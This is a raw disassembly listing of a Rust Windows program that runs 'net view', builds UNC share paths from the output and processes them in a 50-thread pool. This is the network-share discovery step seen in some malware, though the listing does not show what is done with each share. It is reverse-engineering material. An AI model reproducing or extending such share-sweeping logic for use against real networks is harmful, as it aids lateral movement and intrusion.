mov rcx, r13
lea rdx, [0x14044079b]
call sym.std::sys::pal::windows::process::Command::arg::h887e049a537454ee
mov rcx, r13
mov rdx, rbx
mov r8, rsi
call sym.std::sys::pal::windows::process::Command::arg::h887e049a537454ee
mov dword [rsp + 0x730], 3
mov rcx, r13
mov rdx, r15
call sym.std::sys::pal::windows::process::Command::stdout::h1b4535a6bdff16e2
mov rcx, r12
mov rdx, r13
call sym.std::process::Command::output::h37534e7899fe7627
mov r15, qword [rsp + 0x980]
movabs rax, 0x8000000000000000
cmp r15, rax
jne 0x14000951b
mov rax, qword [rsp + 0x988]
mov qword [rsp + 0x450], rax
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 1
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x760], 0x20
mov byte [rsp + 0x768], 3
mov qword [rsp + 0x730], 0
mov qword [rsp + 0x740], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x750], rax
lea rax, sym._ZN4core3ptr42drop_in_place_LT_alloc..string..String_GT_17h77885eb946a5aa96E.llvm.13514751015752540465
mov qword [rsp + 0x758], rax
lea rcx, [rsp + 0x450]
lea r15, [rsp + 0x730]
mov rdx, r15
call sym.__std::io::error::Error_as_core::fmt::Display_::fmt::he2dbf906bfd27f01
test al, al
jne 0x14000a133
mov rsi, qword [rsp + 0x50]
movdqu xmm6, xmmword [rsp + 0x58]
lea rcx, [rsp + 0x450]
call sym._ZN4core3ptr42drop_in_place_LT_std..io..error..Error_GT_17h10f50175a72312bcE.llvm.13514751015752540465
test rdi, rdi
mov r13, r14
je 0x140009506
mov r8d, 1
mov rcx, rbx
mov rdx, rdi
call sym.__rust_dealloc
lea rbx, [rsp + 0x180]
mov rcx, rbx
call sym.core::ptr::drop_in_place_std::process::Command_::h8c51d0c156caf2f5
jmp 0x1400092c6
mov rax, qword [rsp + 0x988]
movdqu xmm0, xmmword [rsp + 0x990]
lea rdx, [rsp + 0x9a0]
mov rcx, qword [rdx + 0x10]
lea r8, [rsp + 0x100]
mov qword [r8 + 0x10], rcx
movups xmm1, xmmword [rdx]
movups xmmword [r8], xmm1
mov qword [rsp + 0xe8], rax
movdqu xmmword [rsp + 0xf0], xmm0
mov qword [rsp + 0xe0], r15
test rdi, rdi
mov r13, r14
je 0x14000957d
mov r8d, 1
mov rcx, rbx
mov rdx, rdi
call sym.__rust_dealloc
lea rbx, [rsp + 0x180]
mov rcx, rbx
call sym.core::ptr::drop_in_place_std::process::Command_::h8c51d0c156caf2f5
cmp dword [rsp + 0x110], 0
je 0x1400096b1
mov rdi, qword [rsp + 0x100]
mov r8, qword [rsp + 0x108]
lea rcx, [rsp + 0x730]
mov rdx, rdi
call sym.alloc::string::String::from_utf8_lossy::heaed299900723259
lea rax, [rsp + 0x730]
mov qword [rsp + 0x980], rax
lea rax, [sym.__alloc::borrow::Cow_B__as_core::fmt::Display_::fmt::h1353444f6e826b83]
mov qword [rsp + 0x988], rax
lea rax, str.Failed_to_execute_net_view_command:
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 1
mov qword [rsp + 0x1a0], 0
mov qword [rsp + 0x190], r12
mov qword [rsp + 0x198], 1
lea rcx, [rsp + 0xa0]
mov rdx, rbx
call sym.alloc::fmt::format::format_inner::h2e4b5bde2a7ad535
mov rsi, qword [rsp + 0xa0]
movdqu xmm6, xmmword [rsp + 0xa8]
mov rdx, qword [rsp + 0x730]
movabs rax, 0x8000000000000000
cmp rdx, rax
je 0x140009665
test rdx, rdx
je 0x140009665
mov rcx, qword [rsp + 0x738]
mov r8d, 1
call sym.__rust_dealloc
test r15, r15
je 0x140009680
mov rcx, qword [rsp + 0xe8]
mov r8d, 1
mov rdx, r15
call sym.__rust_dealloc
mov rdx, qword [rsp + 0xf8]
test rdx, rdx
je 0x14000969b
mov r8d, 1
mov rcx, rdi
call sym.__rust_dealloc
lea r15, [rsp + 0x730]
test rsi, rsi
jne 0x1400092cb
jmp 0x1400092de
mov rsi, qword [rsp + 0xe8]
mov r8, qword [rsp + 0xf0]
mov rcx, rbx
mov rdx, rsi
call sym.alloc::string::String::from_utf8_lossy::heaed299900723259
mov rdi, qword [rsp + 0x188]
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x480], 0
mov qword [rsp + 0x488], rax
mov qword [rsp + 0x490], rdi
mov qword [rsp + 0x498], rax
mov qword [rsp + 0x4a0], 0
mov qword [rsp + 0x4a8], rax
movabs rax, 0xa0000000a
mov qword [rsp + 0x4b0], rax
mov byte [rsp + 0x4b8], 1
mov word [rsp + 0x4c0], 0
lea rcx, [rsp + 0x118]
lea rdx, [rsp + 0x480]
call sym._ZN98__LT_alloc..vec..Vec_LT_T_GT__u20_as_u20_alloc..vec..spec_from_iter..SpecFromIter_LT_T_C_I_GT__GT_9from_iter17h2c5f54803e
mov r14, qword [rsp + 0x118]
movdqu xmm6, xmmword [rsp + 0x120]
mov rdx, qword [rsp + 0x180]
lea rax, [rdx*2]
test rax, rax
je 0x140009781
mov r8d, 1
mov rcx, rdi
call sym.__rust_dealloc
test r15, r15
je 0x140009797
mov r8d, 1
mov rcx, rsi
mov rdx, r15
call sym.__rust_dealloc
mov rdx, qword [rsp + 0xf8]
test rdx, rdx
je 0x1400097b7
mov rcx, qword [rsp + 0x100]
mov r8d, 1
call sym.__rust_dealloc
movq r12, xmm6
pshufd xmm0, xmm6, 0xee
movq rax, xmm0
lea rcx, [rax + rax*2]
lea rcx, [r12 + rcx*8]
pshufd xmm0, xmm6, 0x44
movdqu xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x950], r14
mov qword [rsp + 0x190], r14
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x198], rcx
mov qword [rsp + 0x178], r12
test rax, rax
lea r15, [rsp + 0x730]
je 0x140009a79
mov rax, qword [rsp + 0x178]
lea r12, [rax + 0x18]
jmp 0x140009838
lea rax, [r12 - 0x18]
add r12, 0x18
add rax, 0x18
cmp rax, qword [rsp + 0x38]
je 0x140009a64
mov rbx, qword [r12 - 0x18]
movabs rax, 0x8000000000000000
cmp rbx, rax
je 0x140009a69
mov rax, qword [r12 - 0x10]
mov qword [rsp + 0x70], rax
mov rsi, qword [r12 - 8]
movzx eax, byte [r13]
mov ecx, 2
mov edx, 1
call sym.__rust_alloc
test rax, rax
je 0x14000a0e9
mov rdi, rax
mov word [rax], 0x5c5c
mov qword [rsp + 0x730], 2
mov qword [rsp + 0x738], rax
mov qword [rsp + 0x740], 2
lea rcx, [rsp + 0x480]
lea rdx, [rsp + 0xc0]
call sym.__alloc::string::String_as_core::clone::Clone_::clone::haa927812f4ac785e
mov rax, qword [rsp + 0x488]
mov qword [rsp + 0x150], rax
mov r13, qword [rsp + 0x490]
test r13, r13
je 0x1400098f8
mov edx, 2
mov rcx, r15
mov r8, r13
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::hd10e6bde5f934d0f
mov rdi, qword [rsp + 0x738]
mov r14, qword [rsp + 0x740]
jmp 0x1400098fe
mov r14d, 2
add rdi, r14
mov rcx, rdi
mov rdx, qword [rsp + 0x150]
mov r8, r13
call sym.memcpy
add r14, r13
mov qword [rsp + 0x990], r14
movdqu xmm0, xmmword [rsp + 0x730]
movdqa xmmword [rsp + 0x980], xmm0
cmp qword [rsp + 0x980], r14
jne 0x140009959
mov r8d, 1
lea rcx, [rsp + 0x980]
mov rdx, r14
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::hd10e6bde5f934d0f
mov r14, qword [rsp + 0x990]
mov rax, qword [rsp + 0x988]
mov byte [rax + r14], 0x5c
inc r14
mov qword [rsp + 0x740], r14
movdqa xmm0, xmmword [rsp + 0x980]
movdqa xmmword [rsp + 0x730], xmm0
mov rdi, qword [rsp + 0x730]
mov rax, rdi
sub rax, r14
cmp rax, rsi
jae 0x1400099b4
mov rcx, r15
mov rdx, r14
mov r8, rsi
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::hd10e6bde5f934d0f
mov rdi, qword [rsp + 0x730]
mov r14, qword [rsp + 0x740]
mov r13, qword [rsp + 0x738]
lea rcx, [r14 + r13]
mov rdx, qword [rsp + 0x70]
mov r8, rsi
call sym.memcpy
mov r15, qword [rsp + 0x170]
cmp r15, qword [rsp + 0x160]
jne 0x1400099ec
lea rcx, [rsp + 0x160]
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::hb21cabe97cab6975
add r14, rsi
mov rax, qword [rsp + 0x168]
lea rcx, [r15 + r15*2]
mov qword [rax + rcx*8], rdi
mov qword [rax + rcx*8 + 8], r13
mov qword [rax + rcx*8 + 0x10], r14
inc r15
mov qword [rsp + 0x170], r15
mov rdx, qword [rsp + 0x480]
test rdx, rdx
je 0x140009a34
mov r8d, 1
mov rcx, qword [rsp + 0x150]
call sym.__rust_dealloc
test rbx, rbx
mov r13, qword [0x14050df18]
lea r15, [rsp + 0x730]
je 0x140009820
mov r8d, 1
mov rcx, qword [rsp + 0x70]
mov rdx, rbx
call sym.__rust_dealloc
jmp 0x140009820
mov r12, qword [rsp + 0x38]
mov qword [rsp + 0x188], r12
lea rbx, [rsp + 0x180]
mov r8, qword [rsp + 0x38]
mov rax, r8
sub rax, r12
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
cmp r8, r12
je 0x140009ad4
mov rsi, rdx
shr rsi, 4
add r12, 8
jmp 0x140009ab9
add r12, 0x18
dec rsi
je 0x140009ad4
mov rdx, qword [r12 - 8]
test rdx, rdx
je 0x140009ab0
mov rcx, qword [r12]
mov r8d, 1
call sym.__rust_dealloc
jmp 0x140009ab0
mov rax, qword [rsp + 0x950]
test rax, rax
je 0x140009afc
shl rax, 3
lea rdx, [rax + rax*2]
mov r8d, 8
mov rcx, qword [rsp + 0x178]
call sym.__rust_dealloc
lea r12, [rsp + 0x980]
mov rdx, qword [rsp + 0xc0]
test rdx, rdx
jne 0x1400092ef
jmp 0x1400090e0
lea rcx, [rsp + 0x420]
call sym.__alloc::vec::Vec_T_A__as_core::ops::drop::Drop_::drop::h762f49b57857066b
mov rax, qword [rsp + 0x420]
test rax, rax
je 0x140009b4f
shl rax, 3
lea rdx, [rax + rax*2]
mov r8d, 8
mov rcx, qword [rsp + 0x460]
call sym.__rust_dealloc
xor r12d, r12d
mov r14, qword [rsp + 0x160]
mov rsi, qword [rsp + 0x168]
mov rax, qword [rsp + 0x170]
lea rcx, [rax + rax*2]
lea r13, [rsi + rcx*8]
mov qword [rsp + 0x480], rsi
mov qword [rsp + 0x488], rsi
mov qword [rsp + 0x490], r14
mov qword [rsp + 0x498], r13
mov r15, rsi
test rax, rax
je 0x140009c8f
lea r15, [rsi + 0x18]
lea rdi, [rsp + 0x730]
lea rbx, [rsp + 0x180]
nop word cs:[rax + rax]
mov rax, qword [r15 - 0x18]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140009c87
mov rcx, qword [r15 - 0x10]
mov rdx, qword [r15 - 8]
mov r8, qword [rsp + 0x440]
cmp r8, 2
je 0x140009c0a
cmp r8d, 1
jne 0x140009c1e
mov r9, qword [rsp + 0x448]
lock inc qword [r9 + 0x180]
jg 0x140009c34
jmp 0x14000a42c
mov r9, qword [rsp + 0x448]
lock inc qword [r9 + 0x70]
jg 0x140009c34
jmp 0x14000a423
mov r9, qword [rsp + 0x448]
lock inc qword [r9 + 0x200]
jle 0x14000a435
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], rcx
mov qword [rsp + 0x1a0], rdx
mov qword [rsp + 0x180], r8
mov qword [rsp + 0x188], r9
mov rcx, rdi
mov rdx, rbx
call sym.std::thread::spawn::h4ab982c7c451fcaa
mov rcx, rdi
call sym.core::ptr::drop_in_place_std::thread::JoinHandle_____::hfcb15bf29f25a871
lea rax, [r15 - 0x18]
add r15, 0x18
add rax, 0x18
cmp rax, r13
jne 0x140009bc0
mov r15, r13
mov qword [rsp + 0x488], r15
mov rax, r13
sub rax, r15
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
cmp r13, r15
je 0x140009ce2
mov rdi, rdx
shr rdi, 4
add r15, 8
jmp 0x140009cc9
add r15, 0x18
dec rdi
je 0x140009ce2
mov rdx, qword [r15 - 8]
test rdx, rdx
je 0x140009cc0
mov rcx, qword [r15]
mov r8d, 1
call sym.__rust_dealloc
jmp 0x140009cc0
test r14, r14
je 0x140009cfd
shl r14, 3
lea rdx, [r14 + r14*2]
mov r8d, 8
mov rcx, rsi
call sym.__rust_dealloc
mov rax, qword [rsp + 0x440]
mov rdi, qword [rsp + 0x448]
mov qword [rsp + 0x180], rax
lea rsi, [rsp + 0x188]
mov qword [rsp + 0x188], rdi
cmp rax, 2
je 0x140009d3c
cmp eax, 1
jne 0x140009d48
mov bl, 1
mov rcx, rsi
call sym.std::sync::mpmc::counter::Sender_C_::release::hc3184b5960516947
jmp 0x140009d9e
mov bl, 1
mov rcx, rsi
call sym.std::sync::mpmc::counter::Sender_C_::release::h1fd60662cd43c205
jmp 0x140009d9e
lock dec qword [rdi + 0x200]
jne 0x140009d9e
mov rax, qword [rdi + 0x80]
mov rcx, qword [rdi + 0x190]
mov rdx, rax
or rdx, rcx
lock cmpxchg qword [rdi + 0x80], rdx
jne 0x140009d60
test qword [rdi + 0x190], rax
jne 0x140009d88
lea rcx, [rdi + 0x140]
mov bl, 1
call sym._ZN3std4sync4mpmc5waker9SyncWaker10disconnect17hc8b89d4d4ace4668E.llvm.9772876836740583464
mov bl, 1
mov al, 1
xchg byte [rdi + 0x210], al
test al, al
je 0x140009d9e
mov rcx, rdi
call sym._ZN4core3ptr147drop_in_place_LT_alloc..boxed..Box_LT_std..sync..mpmc..counter..Counter_LT_std..sync..mpmc..array..Channel_LT_a
mov bl, 1
lea rcx, [rsp + 0x480]
mov edx, 0x32
call sym.threadpool::ThreadPool::new::h0b73a3087ccef3f5
mov r13, qword [rsp + 0x720]
mov rdi, qword [rsp + 0x728]
mov qword [rsp + 0x980], r13
lea rbx, [rsp + 0x988]
mov qword [rsp + 0x988], rdi
lea r14, [rsp + 0x180]
lea r15, [rsp + 0x480]
nop word [rax + rax]
cmp r13d, 2
je 0x140009e10
cmp r13d, 1
jne 0x140009e30
mov rcx, r14
mov rdx, rdi
mov r9d, 0x3b9aca00
call sym.std::sync::mpmc::list::Channel_T_::recv::h5877ee3782770e7b
jmp 0x140009e41
mov rcx, r14
mov rdx, rdi
mov r9d, 0x3b9aca00
call sym.std::sync::mpmc::zero::Channel_T_::recv::h8fa442d6d3f469cc
jmp 0x140009e41
mov rcx, r14
mov rdx, rdi
mov r9d, 0x3b9aca00
call sym.std::sync::mpmc::array::Channel_T_::recv::he517ebee7aa360a6
mov rax, qword [rsp + 0x180]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140009ea2
movups xmm0, xmmword [rsi]
movaps xmmword [rsp + 0x730], xmm0
mov rcx, qword [rsp + 0x158]
lock inc qword [rcx]
jle 0x14000a421
mov qword [rsp + 0x180], rax
movdqa xmm0, xmmword [rsp + 0x730]
movdqu xmmword [rsi], xmm0
mov qword [rsp + 0x198], rcx
mov rcx, r15
mov rdx, r14
call sym.threadpool::ThreadPool::execute::h5552c561e41d6d6d
jmp 0x140009df0
cmp r13d, 2
je 0x140009ec0
cmp r13d, 1
mov r14, qword [rsp + 0x148]
jne 0x140009ed2
mov rcx, rbx
call sym.std::sync::mpmc::counter::Receiver_C_::release::h68f5838179b1be61
jmp 0x140009ef8
mov rcx, rbx
call sym.std::sync::mpmc::counter::Receiver_C_::release::h149cf5bd32f2cc8e
mov r14, qword [rsp + 0x148]
jmp 0x140009ef8
lock dec qword [rdi + 0x208]
jne 0x140009ef8
mov rcx, rdi
call sym.std::sync::mpmc::array::Channel_T_::disconnect_receivers::h9f54c463f2f6ad52
mov al, 1
xchg byte [rdi + 0x210], al
test al, al
je 0x140009ef8
mov rcx, rdi
call sym._ZN4core3ptr147drop_in_place_LT_alloc..boxed..Box_LT_std..sync..mpmc..counter..Counter_LT_std..sync..mpmc..array..Channel_LT_a
lea rcx, [rsp + 0x480]
call sym.threadpool::ThreadPool::join::h42ab1331c757c744
mov rax, qword [rsp + 0x480]
lea rcx, [rsp + 0x488]
cmp rax, 2
je 0x140009f27
cmp eax, 1
jne 0x140009f2e
call sym.std::sync::mpmc::counter::Sender_C_::release::hc17a35a53b209e6c
jmp 0x140009f88
call sym.std::sync::mpmc::counter::Sender_C_::release::h40c8a9d3465a0cc1
jmp 0x140009f88
mov rsi, qword [rsp + 0x488]
lock dec qword [rsi + 0x200]
jne 0x140009f88
mov rax, qword [rsi + 0x80]
mov rcx, qword [rsi + 0x190]
mov rdx, rax
or rdx, rcx
lock cmpxchg qword [rsi + 0x80], rdx
jne 0x140009f4e
test qword [rsi + 0x190], rax
jne 0x140009f74
lea rcx, [rsi + 0x140]
call sym._ZN3std4sync4mpmc5waker9SyncWaker10disconnect17hc8b89d4d4ace4668E.llvm.9772876836740583464
mov al, 1
xchg byte [rsi + 0x210], al
test al, al
je 0x140009f88
mov rcx, rsi
call fcn.140027180
mov rax, qword [rsp + 0x490]
lock dec qword [rax]
jne 0x140009fa5
lea rcx, [rsp + 0x490]
xor ebx, ebx
call sym.alloc::sync::Arc_T_A_::drop_slow::h9162f9a77a7a5405
cmp qword [rsp + 0x80], 0
je 0x140009fbf
lea rcx, [rsp + 0x80]
call sym._ZN4core3ptr117drop_in_place_LT_core..result..Result_LT_alloc..vec..Vec_LT_alloc..string..String_GT__C_alloc..string..String_G
jmp 0x14000a003
movabs rax, 0x8000000000000000
cmp r14, rax
jne 0x14000a003
lea rcx, [rsp + 0x88]
call sym.__alloc::vec::Vec_T_A__as_core::ops::drop::Drop_::drop::h762f49b57857066b
mov rax, qword [rsp + 0x88]
test rax, rax
je 0x14000a003
mov rcx, qword [rsp + 0x90]
shl rax, 3
lea rdx, [rax + rax*2]
mov r8d, 8
call sym.__rust_dealloc
mov rax, qword [rsp + 0x158]
lock dec qword [rax]
jne 0x14000a020
xor ebx, ebx
lea rcx, [rsp + 0x158]
call sym.alloc::sync::Arc_T_A_::drop_slow::h0dfdb39000828669
mov rdx, qword [rsp + 0x468]
test rdx, rdx
je 0x14000a040
mov rcx, qword [rsp + 0x470]
mov r8d, 1
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x130]
test rdx, rdx
je 0x14000a060
mov rcx, qword [rsp + 0x138]
mov r8d, 1
call sym.__rust_dealloc
lea rcx, [rsp + 0xba0]
call sym.core::ptr::drop_in_place_clap::args::arg_matches::ArgMatches_::h162cc9f2b92d9b6d
xor eax, eax
movaps xmm6, xmmword [rbp + 0xba0]
lea rsp, [rbp + 0xbb8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [rsp + 0x730]
call sym.core::ptr::drop_in_place_std::process::Child_::h45d199d11d64d806
lea rcx, [rsp + 0x180]
call sym.core::ptr::drop_in_place_std::process::Command_::h8c51d0c156caf2f5
mov rcx, qword [rsp + 0x468]
call fcn.1402ddbdc
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x140006c07
mov rcx, qword [rsp + 0x88]
mov r8d, 1
call sym.__rust_dealloc
jmp 0x140006c07
mov ecx, 1
mov edx, 5
call sym.alloc::raw_vec::handle_error::hb4a2c97b2f2cc7c5
mov qword [rsp + 0x188], r12
mov ecx, 1
mov edx, 2
call sym.alloc::raw_vec::handle_error::hb4a2c97b2f2cc7c5
jmp 0x14000a421
lea rax, [0x1402e22f0]
mov qword [rsp + 0x20], rax
lea rcx, [0x1402e2268]
lea r9, sym.core::ptr::drop_in_place_core::fmt::Error_::hd51fc6acfad34b28
lea r8, [rsp + 0x47]
mov edx, 0x37
call sym.core::result::unwrap_failed::h4f8e79ec55d0e8f1
jmp 0x14000a421
lea rax, [0x1402e22f0]
mov qword [rsp + 0x20], rax
lea rcx, [0x1402e2268]
lea r9, sym.core::ptr::drop_in_place_core::fmt::Error_::hd51fc6acfad34b28
lea r8, [rsp + 0x47]
mov edx, 0x37
call sym.core::result::unwrap_failed::h4f8e79ec55d0e8f1
jmp 0x14000a421
mov rax, qword [rsp + 0x488]
mov qword [rsp + 0x730], rax
lea rax, [0x140440ab0]
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to_execute_command
lea r9, sym._ZN4core3ptr42drop_in_place_LT_std..io..error..Error_GT_17h10f50175a72312bcE.llvm.13514751015752540465
lea r8, [rsp + 0x730]
mov edx, 0x19
call sym.core::result::unwrap_failed::h4f8e79ec55d0e8f1
jmp 0x14000a421
mov ecx, 8
mov edx, 0x3c0
call sym.alloc::alloc::handle_alloc_error::hac6683127b8aa11c
jmp 0x14000a421
mov ecx, 8
mov edx, 0x3f0
call sym.alloc::alloc::handle_alloc_error::hac6683127b8aa11c
jmp 0x14000a421
mov ecx, 8
mov edx, 0xd0
call sym.alloc::alloc::handle_alloc_error::hac6683127b8aa11c
jmp 0x14000a421
xor esi, esi
mov rcx, rsi
mov rdx, qword [rsp + 0x48]
call sym.alloc::raw_vec::handle_error::hb4a2c97b2f2cc7c5
jmp 0x14000a421
mov rax, qword [rsp + 0x730]
mov qword [rsp + 0x78], rax
mov rsi, qword [rsp + 0x738]
mov rdx, qword [rsp + 0x480]
test rdx, rdx
je 0x14000a227
mov rcx, qword [rsp + 0x488]
mov r8d, 1
call sym.__rust_dealloc
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], rsi
lea rax, [0x1404402b8]
mov qword [rsp + 0x20], rax
lea rcx, [0x14044029b]
lea r9, fcn.140002180
lea r8, [rsp + 0x180]
mov edx, 0x10
call sym.core::result::unwrap_failed::h4f8e79ec55d0e8f1
jmp 0x14000a421
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x480], rax
lea rax, [0x1404402d0]
mov qword [rsp + 0x20], rax
lea rcx, [0x1402e2438]
lea r9, sym._ZN4core3ptr42drop_in_place_LT_std..io..error..Error_GT_17h10f50175a72312bcE.llvm.13514751015752540465
lea r8, [rsp + 0x480]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h4f8e79ec55d0e8f1
jmp 0x14000a421
lea rcx, [0x1404402e8]
jmp 0x14000a2be
lea rcx, [0x1404403c8]
call sym.core::option::unwrap_failed::h511674c62460528b
jmp 0x14000a421
mov ecx, 1
mov edx, 0x10
call sym.alloc::raw_vec::handle_error::hb4a2c97b2f2cc7c5
jmp 0x14000a421
lea rcx, [0x1404403b0]
call sym.core::option::unwrap_failed::h511674c62460528b
jmp 0x14000a421
mov ecx, pe_nt_image_headers64
mov edx, 0x200
call sym.alloc::alloc::handle_alloc_error::hac6683127b8aa11c
jmp 0x14000a421
mov ecx, 8
mov edx, 0x28
call sym.alloc::alloc::handle_alloc_error::hac6683127b8aa11c
jmp 0x14000a421
mov ecx, pe_nt_image_headers64
mov edx, 0x200
call sym.alloc::alloc::handle_alloc_error::hac6683127b8aa11c
jmp 0x14000a421
mov ecx, 8
mov edx, 0x28
call sym.alloc::alloc::handle_alloc_error::hac6683127b8aa11c
jmp 0x14000a421
movzx eax, byte [rsp + 0x181]
mov byte [rsp + 0x480], al
lea rax, [0x140440698]
mov qword [rsp + 0x20], rax
lea rcx, [0x1402e2438]
lea r9, sym.core::ptr::drop_in_place_core::num::error::ParseIntError_::h18fd098cbae91332
lea r8, [rsp + 0x480]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h4f8e79ec55d0e8f1
jmp 0x14000a421
lea rax, [0x1402e22f0]
mov qword [rsp + 0x20], rax
lea rcx, [0x1402e2268]
lea r9, sym.core::ptr::drop_in_place_core::fmt::Error_::hd51fc6acfad34b28
lea r8, [rsp + 0x47]
mov edx, 0x37
call sym.core::result::unwrap_failed::h4f8e79ec55d0e8f1
jmp 0x14000a421
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x740], rax
movdqu xmm0, xmmword [rsp + 0x188]
movdqa xmmword [rsp + 0x730], xmm0
lea rax, [0x140440708]
mov qword [rsp + 0x20], rax
lea rcx, [0x1402e2438]
lea r9, sym.core::ptr::drop_in_place_regex::error::Error_::h17aace8555433f31
lea r8, [rsp + 0x730]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h4f8e79ec55d0e8f1
jmp 0x14000a421
lea rax, [0x1402e20f8]
mov qword [rsp + 0x20], rax
lea rcx, [0x1402e2060]
lea r9, sym.core::ptr::drop_in_place_core::fmt::Error_::hd51fc6acfad34b28
lea r8, [rsp + 0x47]
mov edx, 0x46
call sym.core::result::unwrap_failed::h4f8e79ec55d0e8f1
ud2
mov ecx, 7
int 0x29
ud2
mov ecx, 7
int 0x29
ud2
mov ecx, 7
int 0x29
ud2
mov ecx, 7
int 0x29
ud2